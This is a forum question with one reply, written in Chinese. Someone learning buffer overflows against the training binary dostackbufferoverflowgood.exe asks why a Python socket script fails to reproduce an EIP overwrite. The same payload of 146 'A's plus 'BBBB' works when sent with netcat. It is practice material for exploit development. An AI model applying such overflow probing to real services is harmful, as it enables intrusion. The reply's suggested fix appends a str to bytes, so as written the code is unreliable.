我正在尝试使用dostackbufferoverflowgood.exe练习缓冲区溢出,遇到了一个问题。
在使用netcat发送5000个A的时候,通过使用命令 echo `python3 -c "print('A'*146 + 'BBBB')"` | nc 192.168.1.237 31337
程序崩溃了,EIP的值是42424242,所以很好。
当尝试用python脚本做同样的事情时,什么都没有发生,我试着调试了一下,包括用python2,wiresharking,但在客户端和服务器上似乎都是一样的,只是服务器没有回复,这很奇怪,但它是回复到nc的,所以一定是python脚本的问题。
python脚本。
import socket
server = '192.168.1.237'
port = 31337
data = b'A'*146 + b'B'*4
print(len(data))
print(data)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
print(f'trying to connect to {server}')
s.connect((server,port))
s.send(data)
print('data was sent')
data = s.recv(1024)
print(data)
同样的,当捕获wireshark时,所有的东西似乎都是一样的,所以我不知道为什么会发生这种情况。
如果有人遇到类似的情况,将感激任何帮助,谢谢!
我认为你应该把 '\n\r'
在数据的最后。
代码应该是这样的。
s.send(data +'\n\r')